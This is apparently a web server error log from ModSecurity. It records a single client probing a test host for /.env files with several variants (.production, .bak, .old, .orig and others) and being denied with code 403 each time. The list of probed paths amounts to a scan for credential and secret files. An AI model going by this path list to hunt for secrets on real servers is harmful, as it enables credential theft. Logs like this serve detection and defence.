[Thu Oct 30 20:06:31.773289 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aQO3N5dseHRrfd8_FeKIUwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:31.773563 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aQO3N5dseHRrfd8_FeKIUwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:31.773786 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aQO3N5dseHRrfd8_FeKIUwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:32.351557 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aQO3OJdseHRrfd8_FeKIVAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:32.351863 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aQO3OJdseHRrfd8_FeKIVAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:32.352071 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aQO3OJdseHRrfd8_FeKIVAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:32.913917 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aQO3OJdseHRrfd8_FeKIVQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:32.914113 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aQO3OJdseHRrfd8_FeKIVQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:32.914380 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aQO3OJdseHRrfd8_FeKIVQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:32.914612 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aQO3OJdseHRrfd8_FeKIVQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:33.431774 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aQO3OZdseHRrfd8_FeKIVgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:33.432034 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aQO3OZdseHRrfd8_FeKIVgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:33.432244 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aQO3OZdseHRrfd8_FeKIVgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:34.014802 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aQO3OpdseHRrfd8_FeKIVwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:34.015088 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aQO3OpdseHRrfd8_FeKIVwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:34.015326 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample&quot;] [unique_id &quot;aQO3OpdseHRrfd8_FeKIVwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:34.581713 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aQO3OpdseHRrfd8_FeKIWAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:34.581910 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aQO3OpdseHRrfd8_FeKIWAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:34.582178 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aQO3OpdseHRrfd8_FeKIWAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:34.582413 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aQO3OpdseHRrfd8_FeKIWAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:35.422020 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQO3O5dseHRrfd8_FeKIWQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:35.422240 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQO3O5dseHRrfd8_FeKIWQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:35.423306 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQO3O5dseHRrfd8_FeKIWQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:35.423512 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQO3O5dseHRrfd8_FeKIWQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:35.942400 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aQO3O5dseHRrfd8_FeKIWgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:35.942669 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aQO3O5dseHRrfd8_FeKIWgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:35.942902 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aQO3O5dseHRrfd8_FeKIWgAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:36.448149 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.orig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aQO3PJdseHRrfd8_FeKIWwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:36.448401 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aQO3PJdseHRrfd8_FeKIWwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:06:36.448608 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aQO3PJdseHRrfd8_FeKIWwAAAAY&quot;], referer: https://www.google.com/
